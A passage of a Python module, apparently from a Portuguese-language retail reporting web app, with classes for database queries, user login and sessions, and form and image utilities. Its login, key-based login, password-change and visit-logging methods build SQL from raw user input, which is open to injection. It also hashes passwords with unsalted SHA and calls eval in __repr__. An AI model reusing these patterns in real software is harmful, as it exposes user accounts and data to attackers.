'banco_teste', 'localhost', 'mysql')\n \"\"\"\n \n self.__consulta = consulta\n self.__usuario = usuario\n self.__senha = senha\n self.__banco = banco\n self.__servidor = servidor\n self.__tipo_sgbd = tipo_sgbd\n self.__porta = porta\n\t\n self.__conexao()\n\n def __str__(self):\n return 'Consulta(\"%s\", \"%s\", \"%s\", \"%s\", \"%s\", \"%s\")' % \\\n (self.__consulta, self.__usuario, self.__senha, self.__banco, self.__servidor, self.__tipo_sgbd)\n\n def __repr__(self):\n return eval('Consulta(\"%s\", \"%s\", \"%s\", \"%s\", \"%s\", \"%s\")' %\n (self.__consulta, self.__usuario, self.__senha, self.__banco, self.__servidor, self.__tipo_sgbd))\n\n def getCampos(self):\n \"\"\" Retorna todos os campos da tabela \"\"\"\n return self.__campos\n\n def getRegistros(self):\n \"\"\" Retorna todos os registros da consulta \"\"\"\n return self.__registros\n\n def setConsulta(self, consulta):\n \"\"\"\n self.setConsulta('select * from adm_menu')\n \n Executa uma nova consulta no banco e redefine as variaveis de instancia __registros e __campos.\\\n Este metodo foi criado com o intuito de permitir a mudança de dados sem de fato ter de criar outro\n objeto consulta.\n OBS: Somente aceita querys de selecao (select)\n \"\"\"\n\n self.__consulta = consulta\n self.__conexao()\n \n def __conexao(self):\n \"\"\" Realiza de fato a conexão, usando os parametros passados para a conexão \"\"\"\n if self.__tipo_sgbd == 'mysql':\n con = pymysql.connect(user = self.__usuario, password = self.__senha, database = self.__banco, host = self.__servidor, port = self.__porta)\n elif self.__tipo_sgbd == 'mssql':\n con = pymssql.connect(user = self.__usuario, password = self.__senha, database = self.__banco, host = self.__servidor, port = self.__porta)\n else:\n return 'Erro, tipo de SGBD não reconhecido'\n\n # Executar a conexão e a consulta\n cur = con.cursor()\n cur.execute(self.__consulta)\n # Preenchendo os cabecalhos\n self.__campos = [str(campo) for campo, *_ in cur.description]\n # Preenchendo o corpo\n self.__registros = [reg for reg in cur.fetchall()]\n \n # Fechando a conexão com o banco\n con.commit()\n cur.close()\n con.close()\n\n def selecionaCampo(self, nome):\n \"\"\"\n self.selecionaCampo('nome') ou self.selecionaCampo(0) => list()\n \n Seleciona um campo baseado no nome que é informado ou no seu numero de coluna. \\\n O nome de fato deve ser real ao nome do campo informado pelo retornno de self.getCampos() \"\"\"\n if nome in self.__campos:\n index = self.__campos.index(nome)\n return [str(item[index]) for item in self.__registros]\n # Se nome for um numero então ele será comparado para verificação de indice de coluna\n elif isinstance(nome, int):\n if nome <= (len(self.__campos)-1):\n index = nome\n return [str(item[index]) for item in self.__registros]\n else:\n return 'O indice de coluna informado não é acessivel na consulta, verifique os campos no atributo _campos ou use um nome de coluna'\n else:\n return 'A coluna informada não foi encontrada, favor verificar o atributo _campos'\n\n def selecionaCampos(self, lista):\n \"\"\"self.selecionaCampos(['nome','senha']) => list()\n Seleciona um ou mais campos informados pelo seu nome. Os nomes devem ser enviados \\\n dentro de uma lista. Se não sabe quais colunas deseja capturar verifique o metodo getCampos().\n Os campos são retornados como uma tupla aninhada dentro de uma lista externa. \"\"\"\n if isinstance(lista, list):\n # Cria um objeto conjunto para unificar os campos\n conjunto = list()\n for item in lista:\n if isinstance(item, str) and item in self.__campos:\n conjunto.append(self.__campos.index(item))\n else:\n return 'Favor enviar somente nomes de colunas que existam em self.__campos'\n\n reg = []\n for item in self.__registros:\n listas = []\n for campo in conjunto:\n listas.append(item[campo])\n reg.append(tuple(listas))\n return reg\n else:\n return 'Por favor informe uma lista para os campos que se deseja retornar'\n \n def ordenaColuna(self, coluna, decrescente=True):\n \"\"\"Ordena a coluna informada na ordem desejada(ordena os registros) e devolve uma copia para o\n usuario. A coluna deve existir em __campos (verificar com o metodo getCampos()).\n self.ordenaColuna('id_usuarios', False)\n \"\"\"\n # Se a coluna não existe em self.__campos nem continuo\n if coluna not in self.__campos:\n return 'Campo nao existe'\n \n # Salva os valores originais em variaveis usadas para devolver tudo ao estado original\n campo_original = self.__campos[:]\n registro_original = self.__registros[:]\n # Faz uma copia para uma lista onde vai estar os campos alterados. Na verdade ela é somente temporaria\n campo_alterado = self.__campos[:]\n # Remove o campo a ser ordenado da lista copiada. Isto para trazer ele em um novo array como primeiro campo \n campos_ordenados = [campo_alterado.pop(self.__campos.index(coluna))]\n desc = [ campos_ordenados.append(item) for item in campo_alterado ]\n # Exclui a variavel temporaria desc e campo_alterado (reducao de consumo de memoria)\n del desc\n del campo_alterado\n ## Recupera os registros desejados com a coluna a ser ordenada em primeiro lugar\n registros_ordenados = self.selecionaCampos(campos_ordenados)\n ## Ordena de fato os registros baseado no valor de decrescente, True ou false\n registros_ordenados = sorted(registros_ordenados, reverse=decrescente)\n\n ## Insere a ordem dos novos registros em self.__registros e self.__campos armazena a ordem dos campos\n # Isto é importante porque vamos devolver os campos originais ao usuario, ou seja as colunas originais na ordem da coluna\n # informada.\n self.__registros = registros_ordenados\n self.__campos = campos_ordenados\n ## Pede para receber o retorno da ordem das colunas originais com os registros ordenados da forma desejada antes.\n \n registros_ordenados = self.selecionaCampos(campo_original)\n # Volta os valores __campos e __registros para o original\n self.__campos = campo_original\n self.__registros = registro_original\n # Devolve os registros em ordem de coluna original com a coluna desejada ditando a ordem principal\n return registros_ordenados\n\n def procuraDados(self, dado):\n \"\"\" Retorna True se o dado a ser procurado existe em self.getRegistros(), caso contrario retorna False\"\"\"\n for reg in self.getRegistros():\n for item in reg:\n if dado == item:\n return True\n return False\n\n def __len__(self):\n return len(self.getRegistros())\n \n @staticmethod\n def executarConsulta(consulta, usuario, senha, banco, servidor, tipo_sgbd='mysql', porta = 1433):\n \n ''' Realiza de fato a conexão, usando os parametros passados para a conexão '''\n if tipo_sgbd == 'mysql':\n con = pymysql.connect(user = usuario, password = senha, database = banco, host = servidor)\n elif tipo_sgbd == 'mssql':\n con = pymssql.connect(user = usuario, password = senha, database = banco, host = servidor, port = porta)\n else:\n return 'Erro, tipo de SGBD não reconhecido'\n # Executar a conexão e a consulta\n cur = con.cursor()\n cur.execute(consulta)\n con.commit()\n cur.close()\n con.close()\n @staticmethod\n def obter_db_mongo(banco = None):\n ''' Retorna o banco de daddos do mongodb informado pelos parametros de acesso em config.py'''\n c = MongoClient('mongodb://%s:%s@%s' % (config.mongo_acesso['usuario'], \n config.mongo_acesso['senha'], \n config.mongo_acesso['servidor']))\n return c[config.mongo_acesso['banco'] if banco is None else banco]\n\n \n## CLASSE DO USUARIO. ARMAZENA COOKIES, RETORNA-OS, EXIBE SEU NOME, RETORNA ACESSOS ETC...\nclass Usuario(Consulta, Data):\n __id = 0\n __nome = ''\n __email = ''\n __menus = list()\n\t\n def __init__(self, usuario = '', senha = '', chave = None):\n ''' Retorna um objeto usuario recebendo como parametro inicial o ID do usuario '''\n self.__dadosUsuario(usuario, senha, chave)\n Data.__init__(self) \n \n def getLojas(self, com_id = False):\n ''' Retorna todas as lojas que o usuario tem acesso. '''\n if com_id == True:\n sql = \"\"\"select af.id_filial, af.filial from adm_filial af \n INNER JOIN adm_usuario_filial auf ON af.id_filial = auf.id_filial \n INNER JOIN adm_usuario au ON au.id_usuario = auf.id_usuario \n WHERE auf.id_usuario = %d\"\"\" % self.getID()\n else:\n sql = \"\"\"select af.filial from adm_filial af \n INNER JOIN adm_usuario_filial auf ON af.id_filial = auf.id_filial \n INNER JOIN adm_usuario au ON au.id_usuario = auf.id_usuario \n WHERE auf.id_usuario = %d\"\"\" % self.getID()\n con = pymysql.connect(user = my_usuario, password = my_senha, database = my_banco, host = my_servidor)\n cur = con.cursor()\n cur.execute(sql)\n if com_id == True:\n lojas = [ loja for loja in cur.fetchall()]\n else:\n lojas = [ ('%s') % loja for loja in cur.fetchall()]\n cur.close()\n con.close()\n return lojas\n\n def getGrupos(self, com_id = False):\n '''Retorna todos os grupos que o usuario tem acesso. Os grupos são retornados em uma matriz '''\n if com_id == True:\n sql = \"\"\"select ag.id_grupo, ag.grupo from adm_grupo ag \n INNER JOIN adm_usuario_grupo aug ON ag.id_grupo = aug.id_grupo \n INNER JOIN adm_usuario au ON au.id_usuario = aug.id_usuario \n WHERE aug.id_usuario = %d \"\"\" % self.getID()\n else:\n sql = \"\"\"select ag.grupo from adm_grupo ag \n INNER JOIN adm_usuario_grupo aug ON ag.id_grupo = aug.id_grupo \n INNER JOIN adm_usuario au ON au.id_usuario = aug.id_usuario \n WHERE aug.id_usuario = %d \"\"\" % self.getID()\n con = pymysql.connect(user = my_usuario, password = my_senha, database = my_banco, host = my_servidor)\n cur = con.cursor()\n cur.execute(sql)\n if com_id == True:\n grupos = [ grupo for grupo in cur.fetchall()]\n else:\n grupos = [ ('%s') % grupo for grupo in cur.fetchall()]\n cur.close()\n con.close()\n\t \n return grupos\n\n @staticmethod\n def getTodosGrupos(com_id = False):\n '''Retorna todos os grupos do sistema '''\n if com_id == True:\n sql = \"\"\"select ag.id_grupo, ag.grupo from adm_grupo ag \"\"\"\n else:\n sql = \"\"\"select ag.grupo from adm_grupo ag \"\"\"\n con = pymysql.connect(user = my_usuario, password = my_senha, database = my_banco, host = my_servidor)\n cur = con.cursor()\n cur.execute(sql)\n if com_id == True:\n grupos = [ grupo for grupo in cur.fetchall()]\n else:\n grupos = [ ('%s') % grupo for grupo in cur.fetchall()]\n cur.close()\n con.close()\n\t \n return grupos\n\n\n def getID(self):\n \"\"\" Retorna o ID do usuario.\"\"\"\n return self.__id\n \n def getNome(self):\n \"\"\" Retorna o nome do usuario.\"\"\"\n return self.__nome\n\n def getMenuAdm(self):\n \"\"\" Retorna um dicionario com os menus já agrupados\"\"\"\n dados = {}\n for reg in self.__menus:\n chave, valor, nome = reg\n if chave in sorted(dados.keys()):\n dados[chave].append(valor)\n else:\n dados[chave] = [valor]\n return dados\n \n def __dadosUsuario(self, usuario, senha, chave = None):\n \"\"\" Verifica se usuario e senha estao em branco, então ver se tem cookies. Se tiver preencher variaveis. \"\"\"\n sqlMenu = \"\"\"SELECT am.familia, am.link, am.nome FROM adm_usuario au INNER JOIN adm_usuario_menu aum \n ON au.id_usuario = aum.id_usuario INNER JOIN adm_menu am ON aum.id_menu = am.id_menu \n WHERE aum.id_usuario = %d ORDER BY am.familia, am.nome\"\"\"\n \n if usuario == '' and senha == '' and chave is None :\n try:\n self.__id = int(session['id'])\n self.__nome = session['nome']\n self.__email = session['email']\n except KeyError:\n self.__id = 0\n sql = 'select * from adm_usuario where id_usuario = %d' % self.__id\n Consulta.__init__(self, sql, my_usuario, my_senha, my_banco, my_servidor, 'mysql', porta = my_porta)\n\n elif not chave is None:\n \n # TENTA FAZER O LOGIN BASEADO NA CHAVE ENVIADA\n SQL = \"SELECT id_usuario, nome, email FROM adm_usuario WHERE uid = '%s' \" % chave\n # Executando e criando um objeto consulta\n Consulta.__init__(self, SQL, my_usuario, my_senha, my_banco, my_servidor, 'mysql', porta = my_porta)\n \n dados = self.getRegistros()\n for reg in dados:\n self.__id, self.__nome, self.__email = reg\n\n else:\n # Consulta para verificar se usuario e senha estão corretos e seus menus\n sql = \"SELECT id_usuario, nome, email FROM adm_usuario WHERE nome = '%s' AND senha = SHA('%s')\" % (usuario, senha)\n \n # Executando e criando um objeto consulta\n Consulta.__init__(self, sql, my_usuario, my_senha, my_banco, my_servidor, 'mysql', porta = my_porta)\n \n dados = self.getRegistros()\n for reg in dados:\n self.__id, self.__nome, self.__email = reg\n # Executando e criando um objeto consulta\n\t\t\n self.setConsulta(sqlMenu % self.__id)\n\n self.__menus = self.getRegistros()\n \n def atualizaSenha(self, senhaAntiga, novaSenha):\n \"\"\" Recebe a senha antiga e a senha nova do usuario, baseado nisto tenta alterar a senha conectando com e atualizando a nova.\"\"\"\n # Consulta para verificar a senha antiga\n sqlSenha = \"SELECT senha FROM adm_usuario WHERE id_usuario = %d AND senha = SHA('%s') \" % (self.__id, senhaAntiga)\n self.setConsulta(sqlSenha)\n\n dados = self.getRegistros()\n if len(dados) == 1:\n # Senha correta, vamos atualiza-la\n sqlAtualizaSenha = \"UPDATE adm_usuario SET senha = SHA('%s') WHERE id_usuario = %d\" % (novaSenha, self.__id)\n Consulta.executarConsulta(sqlAtualizaSenha, my_usuario, my_senha, my_banco, my_servidor, porta = my_porta)\n return 'Senha Atualizada'\n else:\n return 'Erro com a senha enviada. Senha incorreta'\n\n def gravaGrupos(self, grupos):\n ''' Grava os grupos em um cookie para ser usado nas proximas consultas.'''\n session['grupo_selecionado'] = grupos\n\n def gravaTipos(self, tipos):\n ''' Grava os tipos AR e/ou OC escolhidos na validacao dos relatorios por grife e referencia '''\n session['tipo_ar_oc'] = tipos\n \n def gravaGrupoTemporario(self, grupos):\n ''' Grava os grupos temporarios usados nos relatorios de grife e referencia '''\n session['grupo_temporario'] = grupos\n \n def gravaLojas(self, lojas):\n ''' Grava as lojas que foram enviadas na consulta'''\n session['loja_selecionada'] = lojas\n \n def gravaVisita(self, tabela):\n ''' Grava a visita do usuario na tabela da pagina, assim como a data/hora(Implementada via MySQL)'''\n SQL = \"INSERT INTO analise_acesso VALUES(0, '%s', '%s', NOW())\" % (self.getNome(), tabela)\n Consulta.executarConsulta(SQL, my_usuario, my_senha, my_banco, my_servidor, 'mysql', porta = my_porta)\n\n def verificaMenu(self, menu):\n ''' Verifica o menu do usuario se o mesmo tiver este menu retorna True senao retorna False'''\n for _, m, n in self.__menus:\n\n if m.find(menu) != -1:\n return True\n else:\n continue\n return False\n\n def gravaTipoGrupoGrife(self, grupo_grife):\n ''' Grava os tipos grupo grife (AHIC, TCHA) '''\n session['tipo_grupo_grife'] = grupo_grife\n\n def getDivulgadorGrupo(self, id_grupo, id_filial):\n ''' Retorna o ID e nome do divulgador dependendo do id_grupo e id_filial repassado'''\n SQL = \"SELECT d.id_divulgador, d.nome FROM divulgador d INNER JOIN adm_grupo_filial_divulgador agfd ON agfd.id_divulgador = d.id_divulgador \\\n INNER JOIN adm_grupo ag ON ag.id_grupo = agfd.id_grupo INNER JOIN adm_filial af ON af.id_filial = agfd.id_filial \\\n WHERE agfd.id_grupo = %d AND agfd.id_filial = %d AND d.D_E_L_E_T_ IS NULL\" % (int(id_grupo), int(id_filial))\n c = Consulta(SQL, my_usuario, my_senha, my_banco, my_servidor, 'mysql', porta = my_porta)\n return c.getRegistros()\n\n def getDivulgador(self):\n '''Retorna todos os divulgadores cadastrados no sistema até o momento '''\n SQL = \"SELECT id_divulgador, nome FROM divulgador WHERE D_E_L_E_T_ IS NULL \"\n c = Consulta(SQL, my_usuario, my_senha, my_banco, my_servidor, 'mysql', porta = my_porta)\n return c.getRegistros()\n \n def getQuantidadeVendedores(self, grupo, mes, ano):\n ''' Este metodo do usuario recupera a quantidade de vendeores na loja retornando um\n dicionario com a quantidade de vendedores'''\n meta = {'01':['JAN'],'02':['FEV'],'03':['MAR'],'04':['ABR'],'05':['MAI'],\n '06':['JUN'],'07':['JUL'],'08':['AGO'],'09':['SET'],\n '10':['OUT'],'11':['NOVE'],'12':['DEZE']}\n SQL = \"\"\"SELECT gf.nome AS LOJA, mi.qt_vendedor AS VENDEDOR FROM adm_grupo_fil gf \n INNER JOIN adm_grupo_fil_ano_mes_meta_info gfammi ON gf.id_grupo_fil = gfammi.id_grupo_fil\n INNER JOIN adm_ano a ON a.id_ano = gfammi.id_ano \n INNER JOIN adm_mes m ON m.id_mes = gfammi.id_mes\n INNER JOIN adm_meta_info mi ON mi.id_meta_info = gfammi.id_meta_info \n WHERE gf.nome IN(%s) AND m.mes = '%s' AND a.ano = '%s' \n GROUP BY gf.nome, mi.qt_vendedor \"\"\" % (grupo, meta[mes][0], ano)\n c = Consulta(SQL, my_usuario, my_senha, my_banco, my_servidor, 'mysql', porta = my_porta)\n return {reg[0]:reg[1] for reg in c.getRegistros()}\n\n def registraVisita(self, menu):\n ''' Recebe uma string representando o menu e então computa a visita do usuario '''\n SQL = \"SELECT id_menu FROM adm_menu where link LIKE '%\"+menu+\"%'\"\n c = Consulta(SQL, my_usuario, my_senha, my_banco, my_servidor, tipo_sgbd = 'mysql', porta = my_porta)\n qt_acesso = c.getRegistros()[0][0]\n SQL = \"\"\"INSERT INTO adm_usuario_menu_num_acesso (id_usuario, id_menu, num_acesso) \n SELECT %d, %d, 0 FROM DUAL WHERE NOT EXISTS \n (SELECT id_usuario, id_menu, num_acesso FROM adm_usuario_menu_num_acesso \n WHERE id_usuario = %d AND id_menu = %d )\"\"\" % (self.getID(), qt_acesso, self.getID(), qt_acesso)\n Consulta.executarConsulta(SQL, my_usuario, my_senha, my_banco, my_servidor, tipo_sgbd = 'mysql', porta = my_porta)\n ## Ultima query para fazer o update do campo num_acesso\n SQL = \"UPDATE adm_usuario_menu_num_acesso SET num_acesso = num_acesso + 1 WHERE id_usuario = %d AND id_menu = %d \" % (self.getID(), qt_acesso)\n Consulta.executarConsulta(SQL, my_usuario, my_senha, my_banco, my_servidor, tipo_sgbd = 'mysql', porta = my_porta)\n ## QUERY PARA REGISTRAR DATA/HORA DE ACESSO\n SQL = \"INSERT INTO adm_usuario_menu_data_acesso (id_usuario, id_menu) VALUES(%d, %d)\" % (self.getID(), qt_acesso)\n Consulta.executarConsulta(SQL, my_usuario, my_senha, my_banco, my_servidor, tipo_sgbd = 'mysql', porta = my_porta)\n\n def retornaMenuUsuario(self):\n ''' Retorna o primeiro menu do usuario para que do lado do controlador ele seja redirecionado'''\n menu_interno = self.__menus[0][1]\n inicio = menu_interno.find('href=') + len('href=') + 1\n fim = menu_interno[inicio:].find('>') - 1\n m = menu_interno[inicio:inicio+fim]\n return m\n\n def getGrupoFilial(self):\n ''' Retorna o grupo e filial selecionado '''\n grupo_filial = [\"'%02d%02d'\" % (int(num), int(lj)) for num in str(session['grupo_selecionado']).split(',')\n for lj in str(session['loja_selecionada']).split(',')]\n return ','.join(grupo_filial)\n \n def getGrupoSelecionado(self, nome = False):\n ''' Retorna uma lista do grupo selecionado '''\n if nome:\n numeros = [str(num) for num in str(session['grupo_selecionado']).split(',')]\n grpID = ','.join(numeros)\n SQL = \"SELECT id_grupo, nome FROM adm_grupo WHERE id_grupo IN(%s)\" % (grpID)\n c = Consulta(SQL, my_usuario, my_senha, my_banco, my_servidor, tipo_sgbd = 'mysql', porta = my_porta)\n return {idGrupo:nome.split('-')[1].strip() for idGrupo, nome in c.getRegistros()}\n else:\n return [int(num) for num in str(session['grupo_selecionado']).split(',')]\n\n def getFilialSelecionado(self):\n '''Retorna a filial selecionada '''\n return str(session['loja_selecionada']).split(',')\n\n def getTipoArOc(self):\n ''' Retorna o tipo ar/oc ou ambos selecionado'''\n return [ tipo for tipo in str(session['tipo_ar_oc']).split(',')]\n\n def getGrife(self):\n ''' Retorna a grife selecionada '''\n return [ grife for grife in str(session['tipo_grupo_grife']).split(',') ]\n\n def getGruposTodos(self):\n ''' Retorna todos os grupos do sistema '''\n SQL = \"SELECT id_grupo, grupo FROM adm_grupo\"\n c = Consulta(SQL, my_usuario, my_senha, my_banco, my_servidor, tipo_sgbd = 'mysql', porta = my_porta)\n return {idGrupo:nome for idGrupo, nome in c.getRegistros()}\n\n def getGrupoTemporarioSelecionado(self, nome = False):\n ''' Retorna todos os grupos temporarios '''\n if nome:\n numeros = [str(num) for num in str(session['grupo_temporario']).split(',')]\n grpID = ','.join(numeros)\n SQL = \"SELECT id_grupo, nome FROM adm_grupo WHERE id_grupo IN(%s)\" % (grpID)\n c = Consulta(SQL, my_usuario, my_senha, my_banco, my_servidor, tipo_sgbd = 'mysql', porta = my_porta)\n return {idGrupo:nome.split('-')[1].strip() for idGrupo, nome in c.getRegistros()}\n else:\n return [int(num) for num in str(session['grupo_temporario']).split(',')]\n\n def getGrupoFilialTemporario(self):\n ''' Retorna o grupo e filial selecionado '''\n grupo_filial = [\"'%02d%02d'\" % (int(num), int(lj)) for num in str(session['grupo_temporario']).split(',')\n for lj in range(1,3)]\n return ','.join(grupo_filial)\n \n def getLentesPontuacao(self, novos_pontos = False):\n '''Recupera todas as lentes que fazem parte da campanha de pontuacao e as retorna como um dicionario '''\n if novos_pontos == True:\n SQL = \"\"\" SELECT codigo, novos_pontos FROM adm_lentes_campanha ORDER BY pontos DESC \"\"\"\n else:\n SQL = \"\"\" SELECT codigo, pontos FROM adm_lentes_campanha ORDER BY pontos DESC \"\"\"\n c = Consulta(SQL, my_usuario, my_senha, my_banco, my_servidor, tipo_sgbd = 'mysql', porta = my_porta)\n return {cod:pt for cod,pt in c.getRegistros()}\n \n def getLentesPontuacaoLoja(self, loja, de, ate, novos_pontos = False):\n ''' Recupera os pontos de cada vendedor baseado nas lentes que ele vendeu '''\n pontos = self.getLentesPontuacao(novos_pontos)\n cod = [\"'%s'\" % key for key in pontos.keys()]\n SQL = querys.SQL_PONTUACAO_LENTES_CAMPANHA % (querys.caso_meta_vendedor, \n de, ate, ','.join(cod), self.getGrupoFilial())\n c = Consulta(SQL, ms_usuario, ms_senha, ms_banco, ms_servidor, tipo_sgbd='mssql', porta=ms_porta)\n pt_vends = {}\n for reg in c.getRegistros():\n if reg[1] == '' or reg[1] is None:\n continue\n else:\n if not reg[0] in pt_vends.keys():\n pt_vends[reg[0]] = [reg[2], 0, 0]\n ## Somar a quantidade de lentes e os pontos obtidos\n pt_vends[reg[0]][1] += reg[4]\n pt_vends[reg[0]][2] += pontos[reg[3]] * reg[4]\n ## Retorna o pt_vends {cpf:[nome, qt_lentes, qt_pts]}\n return pt_vends\n\n ## Obtem o grupo_fil como o sistema p12 entende\n @staticmethod\n def get_grupo_fil(grupo, fil):\n ''' Recebe o grupo e a filial e os retorna '''\n # Os dois sao uma lista, vamos retornar o grupo_fil\n try:\n return ['%02d%02d' % (int(gr), int(fl)) for gr in grupo.split(',') \n for fl in fil.split(',')]\n except ValueError:\n return False\n\n ## Obtendo um dicionario dos nomes dos grupos selecionados\n @staticmethod\n def get_grupo_selecionado(grupo, nome = False):\n ''' Retorna uma lista do grupo selecionado '''\n if nome:\n numeros = [str(num) for num in grupo.split(',')]\n grpID = ','.join(numeros)\n SQL = \"SELECT id_grupo, nome FROM adm_grupo WHERE id_grupo IN(%s)\" % (grpID)\n c = Consulta(SQL, my_usuario, my_senha, my_banco, my_servidor, tipo_sgbd = 'mysql', porta = my_porta)\n return {idGrupo:nome.split('-')[1].strip() for idGrupo, nome in c.getRegistros()}\n else:\n return [int(num) for num in grupo.split(',')]\n ## Obtendo os menus do usuario baseado no id\n @staticmethod\n def get_menu(ID):\n ''' Retorna os menus do usuario baseado no id dele'''\n sql = \"\"\"SELECT am.familia, am.link, am.nome FROM adm_usuario au INNER JOIN adm_usuario_menu aum \n ON au.id_usuario = aum.id_usuario INNER JOIN adm_menu am ON aum.id_menu = am.id_menu \n WHERE aum.id_usuario = %d ORDER BY am.familia, am.nome \"\"\" % int(ID)\n c = Consulta(sql, my_usuario, my_senha, my_banco, my_servidor, tipo_sgbd = 'mysql', porta = my_porta)\n menu = {}\n for reg in c.getRegistros():\n if not reg[0] in menu.keys():\n menu[reg[0]] = []\n # RETIRAR A TAG a e trazer somente o href\n link = reg[1]\n inicio = link.find('href=') + len('href=') + 1\n fim = link[inicio:].find('>') - 1\n link = link[inicio:inicio+fim]\n \n menu[reg[0]].append([ link, reg[2] ])\n return menu\n \n def getEmail(self):\n return self.__email\n\n# Classe para utilitarios\nclass Utils:\n\n # Funcao que recupera o hash para uso da api do site\n @staticmethod\n def get_chave_api():\n ''' Esta funcao recupera a chave da api '''\n SQL = \"SELECT chave_api FROM adm_chave_api WHERE id_chave_api = 1\"\n c = Consulta(SQL, my_usuario, my_senha, my_banco, my_servidor, tipo_sgbd = 'mysql', porta = my_porta)\n return c.getRegistros()[0][0]\n\n ## Converter dinheiro\n @staticmethod\n def converter(valor):\n ## verificar se existe dois numeros apos o ponto\n valor = str(valor)\n verificar = len(valor[(valor.find('.')+1):])\n if verificar == 2:\n pass\n else:\n valor = valor+'0'\n # Substituir o ponto por virgula\n valor = valor.replace('.',',')\n\n # contador, a cada 3 x inserir um ponto\n x = 0 \n # a string que recebera cada caractere convertido\n d = ''\n # Pega o valor e reverte sua ordem\n rever = valor[::-1]\n # Caminha sobre cada caractere da string\n for i in rever:\n # Se o x for inferior a 4 entao vamos incrementar x e colocar o caractere\n if x < 4:\n x += 1\n d += i\n # X nao tem resto na divisao por tres, entao incluiremos o ponto e incrementamos x\n elif x % 3 == 0:\n d += '.' + i \n x += 1\n # X já e maior que 4 e nao e divisivel por 3, entao vamos incrementar x e adicionar o caractere a d\n else:\n d += i\n x += 1\n # Reverte novamente a string para o formato de ordem original\n d = d[::-1]\n temp = list(d)\n if d[0] == '.': # Se o primeiro caracter e ponto vamos remover\n temp[0] = ''\n d = ''.join(temp)\n elif d[0] == '-' and d[1] == '.': # Se tem sinal negativo e o primeiro caracter e ponto vamos remover\n temp[1] = ''\n \n d = 'R$ '+''.join(temp)\n\n return d\n\n @staticmethod\n def desconverter(valor):\n return float(valor.replace('R$', '').replace('.', '').replace(',', '.')) \n # Recebe os grupos e as lojas e monta os chaveamentos corretos retornando uma lista\n @staticmethod\n def get_grupos_formatados(grupos, filiais):\n grupos_exatos = [\n '0101','0102','0201','0301','0302', \n '0401','0402','0501','0502','0601','0701','0702', \n '0801','0901','1001','1002','1101','1102','1201','1301', \n '1401','1501','1601','1602','1701','1801'\n ]\n grp = []\n for gr in grupos:\n for fi in filiais:\n gr_fi = '%02d%02d' % (int(gr), int(fi))\n if gr_fi in grupos_exatos:\n grp.append(gr_fi)\n return grp\n # Recebe um objeto request.form e retorna um objeto {de, ate, grupos, lojas} ou erro {erro:}\n @staticmethod\n def valida_form(form):\n ''' RECEBE UM OBJETO request.form e retorna um objeto com os campos ou um erro'''\n dados = form.form\n\n # veja se tem um campo dados e se consegue converter este json\n if len(dados) < 2 and not 'dados' in form.form.keys():\n return {'erro': 'ESPERADO UM ATRIBUTO DADOS QUE NAO EXISTE'}\n elif len(dados) < 2:\n try:\n dados = json.loads(dados['dados'])\n except json.decoder.JSONDecodeError:\n return {'erro': 'FALHA, DADOS ENVIADOS NÃO SÃO UM JSON'}\n # Agora é fazer a extração dos campos (se existirem ou retornar os erros)\n if not 'de' in dados.keys():\n return {'erro': 'FAVOR ENVIAR O CAMPO de'}\n if not 'ate' in dados.keys():\n return {'erro': 'FAVOR ENVIAR O CAMPO ate'}\n if not 'lojas' in dados.keys():\n return {'erro': 'FAVOR INFORMAR O CAMPO lojas'}\n if not 'grupos' in dados.keys():\n return {'erro': 'FAVOR INFORMAR OS GRUPOS'}\n # VEJA NA regex SE O CAMPO DE E ATE ATENDEM O PADRÃO DE DATA\n cp = re.compile('^[1-2][0-9]{3}-([0][0-9]|[1][0-2])-([0-2][0-9]|[3][0-1])$')\n if not cp.match(dados['de']):\n return {'erro': 'O CAMPO de NÃO ATENDE AO FORMATO AAAA-MM-DD'}\n if not cp.match(dados['ate']):\n return {'erro': 'O CAMPO ate NÃO ATENDE AO FORMATO AAAA-MM-DD'}\n # OK PASSOU ATÉ AQUI, AGORA É VER SE O CAMPO de é menor_igual ao campo ate\n deL = list(map(lambda x: int(x), dados['de'].split('-')))\n ateL = list(map(lambda x: int(x), dados['ate'].split('-'))) \n dts = list(map(lambda x: date(*x), [deL, ateL]))\n if dts[0] > dts[1]:\n return {'erro': 'A DATA de NÃO PODE SER MAIOR QUE A DATA ate'}\n del deL, ateL, dts, cp # limpando a casa\n # TODAS AS VALIDACOES FINALIZADAS\n return dados\n \n @staticmethod\n def valida_dados(form):\n ''' RECEBE UM OBJETO request.form e retorna um objeto com os campos ou um erro'''\n dados = form.form\n\n # veja se tem um campo dados e se consegue converter este json\n if not 'dados' in dados.keys():\n return {'erro': 'ESPERADO UM ATRIBUTO DADOS QUE NAO EXISTE'}\n try:\n dados = json.loads(dados['dados'])\n except json.decoder.JSONDecodeError:\n return {'erro': 'FALHA, DADOS ENVIADOS NÃO SÃO UM JSON'}\n return dados\n @staticmethod\n def validar_data(data):\n ''' Valida a data para ver se segue o padrao AAAA-MM-DD'''\n # VEJA NA regex SE O CAMPO DE E ATE ATENDEM O PADRÃO DE DATA\n cp = re.compile('^[1-2][0-9]{3}-([0][0-9]|[1][0-2])-([0-2][0-9]|[3][0-1])$')\n if not cp.match(data):\n return False\n return True\n @staticmethod\n def validar_de_menor_igual_que_ate(de, ate):\n ''' Valida para ver se a data de é menor igual que a data ate'''\n if not Utils.validar_data(de) or not Utils.validar_data(ate):\n return {'erro': 'A de ou ate não estão no formato AAAA-MM-DD'}\n # Veja se uma data é maior que a outra\n d1 = date(*list(map(lambda x: int(x), de.split('-'))))\n d2 = date(*list(map(lambda x: int(x), ate.split('-'))))\n if d1 > d2:\n return {'erro': 'A DATA de é maior que a data ate'}\n return {'sucesso': 'VALIDO'}\n @staticmethod\n def validar_arquivo(arq, tipos_aceitos: list):\n ''' VALIDA O ARQUIVO ENVIADO DE ACORDO COM SUA EXTENSÃO retornando True, se passou ou False caso contrario'''\n return '.' in arq and arq.rsplit('.', 1)[1].lower() in tipos_aceitos\n # funcao que gira a imagem\n @staticmethod\n def rotacionar_imagem(filepath, size = None, novo_nome = None):\n ''' Rotacionar a imagem a posicao correta '''\n image = Image.open(filepath)\n exf = None\n for orientation in ExifTags.TAGS.keys():\n if ExifTags.TAGS[orientation] == 'Orientation':\n exf = orientation\n break\n if not exf is None and '_getexif' in dir(image) and not image._getexif() is None:\n exif = dict(image._getexif().items())\n if not exf in exif.keys():\n pass\n elif exif[exf] == 3:\n image = image.transpose(Image.ROTATE_180)\n elif exif[exf] == 6:\n image = image.transpose(Image.ROTATE_270)\n elif exif[exf] == 8:\n image = image.transpose(Image.ROTATE_90)\n \n # Se tiver a tupla de dimensoes, defina e salve\n if not size is None:\n image = image.resize(size, Image.ANTIALIAS)\n # Se tiver o novo nome então salve neste novocaminho\n if not novo_nome is 